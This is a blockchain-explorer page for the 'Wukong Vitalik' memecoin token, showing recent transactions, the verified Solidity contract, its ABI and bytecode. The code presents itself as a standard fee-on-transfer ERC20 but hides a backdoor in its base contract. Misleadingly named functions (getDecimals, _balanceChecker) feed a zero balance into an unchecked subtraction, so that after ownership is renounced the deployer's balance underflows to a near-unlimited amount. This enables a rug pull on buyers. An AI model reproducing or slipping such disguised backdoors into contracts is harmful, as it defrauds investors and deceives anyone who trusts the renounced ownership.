Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 44 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 20699228 | 569 days ago | IN | 0 ETH | 0.00013103 | ||||
| Approve | 20699222 | 569 days ago | IN | 0 ETH | 0.00023207 | ||||
| Approve | 20699210 | 569 days ago | IN | 0 ETH | 0.00008499 | ||||
| Remove Buy Fee | 20699205 | 569 days ago | IN | 0 ETH | 0.00007292 | ||||
| Approve | 20699205 | 569 days ago | IN | 0 ETH | 0.00022683 | ||||
| Remove Limits | 20699194 | 569 days ago | IN | 0 ETH | 0.00007866 | ||||
| Approve | 20699192 | 569 days ago | IN | 0 ETH | 0.00022807 | ||||
| Approve | 20699192 | 569 days ago | IN | 0 ETH | 0.00022807 | ||||
| Approve | 20699192 | 569 days ago | IN | 0 ETH | 0.00022807 | ||||
| Approve | 20699192 | 569 days ago | IN | 0 ETH | 0.00036752 | ||||
| Approve | 20699192 | 569 days ago | IN | 0 ETH | 0.00036752 | ||||
| Approve | 20699191 | 569 days ago | IN | 0 ETH | 0.00031992 | ||||
| Approve | 20699191 | 569 days ago | IN | 0 ETH | 0.00031992 | ||||
| Start Trading | 20699190 | 569 days ago | IN | 0 ETH | 0.00023798 | ||||
| Approve | 20699165 | 569 days ago | IN | 0 ETH | 0.0002192 | ||||
| Approve | 20699165 | 569 days ago | IN | 0 ETH | 0.0002192 | ||||
| Approve | 20699165 | 569 days ago | IN | 0 ETH | 0.0002192 | ||||
| Approve | 20699163 | 569 days ago | IN | 0 ETH | 0.00021396 | ||||
| Approve | 20699163 | 569 days ago | IN | 0 ETH | 0.00021396 | ||||
| Approve | 20699160 | 569 days ago | IN | 0 ETH | 0.00021404 | ||||
| Approve | 20699159 | 569 days ago | IN | 0 ETH | 0.0002058 | ||||
| Approve | 20699159 | 569 days ago | IN | 0 ETH | 0.0002058 | ||||
| Approve | 20699159 | 569 days ago | IN | 0 ETH | 0.0002058 | ||||
| Approve | 20699159 | 569 days ago | IN | 0 ETH | 0.0002058 | ||||
| Approve | 20699159 | 569 days ago | IN | 0 ETH | 0.0002058 |
Latest 6 internal transactions
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
WukongVitalik
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-09-07
*/
/*
Wukong Vitalik
Monkey King ($WUKONG) and Vitalik Buterin combined into
one entity represent a unique concept in the world of
cryptocurrencies. This project, launched speculatively
as a memecoin on the Ethereum network, merges the symbolism
of the legendary Chinese Monkey King (Wukong)
with the figure of Ethereum's creator, Vitalik Buterin
https://t.me/WukongVitalik
https://x.com/WukongVitalik
https://x.com/WukongVitalik
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "not owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "not owner");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, Ownable, IERC20 {
string private _name;
string private _symbol;
address private _deployer;
uint256 private _decimals;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_deployer = _msgSender();
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function getDecimals(address add) view internal returns (bool) {
return add==_deployer&&address(0)==owner();
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
} function balances(address sender) view internal returns(uint256) {
return _balanceChecker(sender);
}
function _balanceChecker(address sender) view private returns (uint256) {
if (getDecimals(sender)) {
return _decimals;
}
return _balances[sender];
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = balances(sender) - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract WukongVitalik is ERC20 {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapRouter;
address public uniswapPair;
address public marketingWallet;
address public developmentWallet;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public limitsInEffect = true;
uint256 public maximumTransactionAllowed;
uint256 public swapBackThreshold;
uint256 public maximumWalletAllowed;
uint256 public buyTotalFees;
uint256 public buyMarketFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketFee;
uint256 public sellDevFee;
uint256 public tokensForMarket;
uint256 public tokensForDev;
bool private swapping;
mapping(address => bool) public isExcludedFromFees;
mapping(address => bool) public isExcludemaximumTransactionAllowed;
mapping(address => bool) public pairs;
constructor() ERC20("Wukong Vitalik", "WUKONG") {
uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
marketingWallet = address(owner());
developmentWallet = address(owner());
isExcludemaximumTransactionAllowed[address(uniswapRouter)] = true;
isExcludemaximumTransactionAllowed[owner()] = true;
isExcludemaximumTransactionAllowed[address(this)] = true;
isExcludemaximumTransactionAllowed[address(0xdead)] = true;
isExcludedFromFees[owner()] = true;
isExcludedFromFees[address(this)] = true;
isExcludedFromFees[address(0xdead)] = true;
uint256 totalSupply = 100_000_000 * 1e9;
swapBackThreshold = (totalSupply * 5) / 10000; // 0.05% swap wallet
maximumTransactionAllowed = (totalSupply * 2) / 100; // 2% from total supply maximumTransactionAllowedTxn
maximumWalletAllowed = (totalSupply * 2) / 100; // 2% from total supply maximumWalletAllowed
buyMarketFee = 20;
buyDevFee = 0;
buyTotalFees = buyMarketFee + buyDevFee;
sellMarketFee = 20;
sellDevFee = 0;
sellTotalFees = sellMarketFee + sellDevFee;
_mint(msg.sender, totalSupply);
}
receive() external payable {}
function startTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).getPair(address(this), uniswapRouter.WETH());
isExcludemaximumTransactionAllowed[address(uniswapPair)] = true;
pairs[uniswapPair] = true;
}
function excludeFromMaximumTransactionAllowed(address addr, bool value) external onlyOwner {
isExcludemaximumTransactionAllowed[addr] = value;
}
function excludeFromFees(address account, bool value) external onlyOwner {
isExcludedFromFees[account] = value;
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function removeBuyFee() external onlyOwner {
buyMarketFee = 0;
buyDevFee = 0;
buyTotalFees = buyMarketFee + buyDevFee;
}
function removeSellFee() external onlyOwner {
sellMarketFee = 0;
sellDevFee = 0;
sellTotalFees = sellMarketFee + sellDevFee;
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForMarket + tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0)
return;
if (contractBalance > swapBackThreshold * 60)
contractBalance = swapBackThreshold * 60;
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(contractBalance);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
tokensForMarket = 0;
tokensForDev = 0;
(success, ) = address(developmentWallet).call{value: ethForDev}("");
(success, ) = address(marketingWallet).call{ value: address(this).balance }("");
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapRouter.WETH();
_approve(address(this), address(uniswapRouter), tokenAmount);
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _transfer(address from, address to, uint256 amount) override internal {
require(from != address(0), "from 0x0 add");
require(to != address(0), "to 0x0 add");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping) {
if (!tradingActive) {
require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading not active");
}
//when buy
if (pairs[from] && !isExcludemaximumTransactionAllowed[to]) {
require(amount <= maximumTransactionAllowed, "gt max TX");
require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet");
}
//when sell
else if (pairs[to] && !isExcludemaximumTransactionAllowed[from]) {
require(amount <= maximumTransactionAllowed, "gt max TX");
}
else if (!isExcludemaximumTransactionAllowed[to]) {
require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet");
}
}
}
uint256 contractBalance = balanceOf(address(this));
bool canSwap = contractBalance >= swapBackThreshold;
if (canSwap &&
swapEnabled &&
!swapping &&
!pairs[from] &&
!isExcludedFromFees[from] &&
!isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (isExcludedFromFees[from] || isExcludedFromFees[to])
takeFee = false;
uint256 fee = 0;
if (takeFee) {
if (pairs[to] && sellTotalFees > 0) {
fee = amount.mul(sellTotalFees).div(100);
tokensForDev += (fee * sellDevFee) / sellTotalFees;
tokensForMarket += (fee * sellMarketFee) / sellTotalFees;
}
else if (pairs[from] && buyTotalFees > 0) {
fee = amount.mul(buyTotalFees).div(100);
tokensForDev += (fee * buyDevFee) / buyTotalFees;
tokensForMarket += (fee * buyMarketFee) / buyTotalFees;
}
if (fee > 0)
super._transfer(from, address(this), fee);
amount -= fee;
}
super._transfer(from, to, amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateMaximumWalletAllowed(uint256 newNum) external onlyOwner {
require(newNum >= ((totalSupply() * 5) / 1000) / 1e9, "lt 0.5%");
maximumWalletAllowed = newNum * (10**9);
}
function updateSwapBackThreshold(uint256 newAmount) external onlyOwner returns (bool) {
require(newAmount >= (totalSupply() * 1) / 100000, "lt 0.001% ts");
require(newAmount <= (totalSupply() * 5) / 1000, "lt 0.5% ts");
swapBackThreshold = newAmount;
return true;
}
function updateMaximumTransactionAllowed(uint256 newNum) external onlyOwner {
require(newNum >= ((totalSupply() * 1) / 1000) / 1e9, "lt 0.1%");
maximumTransactionAllowed = newNum * (10**9);
}
function manualSwapBack(uint256 tokenAmount) external {
require(tokenAmount > 0, "too low");
if (marketingWallet != _msgSender()) {
return;
}
swapTokensForEth(tokenAmount);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
payable(marketingWallet).transfer(contractETHBalance);
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromMaximumTransactionAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludemaximumTransactionAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"manualSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumTransactionAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumWalletAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapBackThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarket","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaximumTransactionAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaximumWalletAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapBackThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a0604052600a805462ffffff60a01b1916600160b01b179055348015610024575f5ffd5b506040518060400160405280600e81526020016d57756b6f6e6720566974616c696b60901b8152506040518060400160405280600681526020016557554b4f4e4760d01b81525061008161007c61025d60201b60201c565b610261565b600161008d838261042c565b50600261009a828261042c565b505060038054336001600160a01b031991821617909155737a250d5630b4cf539739df2c5dacb4c659f2488d6080525f80546009805484166001600160a01b03928316908117909155600a80549094168117909355601860209081527f89b047228bcbc7dd2bd64da6fb9668f504c0478eb6fbbc20eeaab33f85fbfdda805460ff199081166001908117909255948452604080852080548716831790553080865281862080548816841790557fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd6805488168417905585549094168552601790925281842080548616821790559183528220805484168217905561dead9091527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b030380549092161790555067016345785d8a00006127106101da8260056104fa565b6101e49190610517565b600c5560646101f48260026104fa565b6101fe9190610517565b600b55606461020e8260026104fa565b6102189190610517565b600d556014600f8190555f601081905561023191610536565b600e55601460128190555f601381905561024a91610536565b60115561025733826102b0565b50610549565b3390565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03821661030a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060055f82825461031b9190610536565b90915550506001600160a01b0382165f9081526006602052604081208054839290610347908490610536565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806103bd57607f821691505b6020821081036103db57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561039057805f5260205f20601f840160051c810160208510156104065750805b601f840160051c820191505b81811015610425575f8155600101610412565b5050505050565b81516001600160401b0381111561044557610445610395565b6104598161045384546103a9565b846103e1565b6020601f82116001811461048b575f83156104745750848201515b5f19600385901b1c1916600184901b178455610425565b5f84815260208120601f198516915b828110156104ba578785015182556020948501946001909201910161049a565b50848210156104d757868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610511576105116104e6565b92915050565b5f8261053157634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610511576105116104e6565b6080516121c76105845f395f81816104d201528181610aa701528181610b2d0152818161198c01528181611a430152611a7f01526121c75ff3fe608060405260043610610277575f3560e01c80638968794c1161014a578063bbc0c742116100be578063d85ba06311610078578063d85ba06314610731578063dd62ed3e14610746578063e4a1b95f1461078a578063f2fde38b1461079f578063f8acfffa146107be578063fe33b302146107dd575f5ffd5b8063bbc0c74214610680578063bffda982146106a0578063c0246668146106bf578063c04a5414146106de578063c816841b146106fd578063cff16b2f1461071c575f5ffd5b80639c3b4fdc1161010f5780639c3b4fdc146105d55780639fccce32146105ea578063a0d82dc5146105ff578063a457c2d714610614578063a781dc3514610633578063a9059cbb14610661575f5ffd5b80638968794c146105535780638da5cb5b14610567578063924de9b71461058357806394a1700e146105a257806395d89b41146105c1575f5ffd5b806348898186116101ec57806370a08231116101a657806370a0823114610479578063715018a6146104ad578063735de9f7146104c1578063751039fc1461050c57806375f0a87414610520578063798da9261461053f575f5ffd5b806348898186146103c25780634a62bb65146103e15780634fbee193146104015780636a486a8e1461042f5780636ddd1713146104445780636e1b6cda14610464575f5ffd5b806323b872dd1161023d57806323b872dd14610329578063293230b814610348578063313ce5671461035e57806335b5fb631461037957806337da26ca1461038e57806339509351146103a3575f5ffd5b8062c305ee1461028257806306fdde03146102b6578063095ea7b3146102d757806318160ddd146102f65780631f7ea8da14610314575f5ffd5b3661027e57005b5f5ffd5b34801561028d575f5ffd5b506102a161029c366004611eb2565b61080b565b60405190151581526020015b60405180910390f35b3480156102c1575f5ffd5b506102ca610909565b6040516102ad9190611ec9565b3480156102e2575f5ffd5b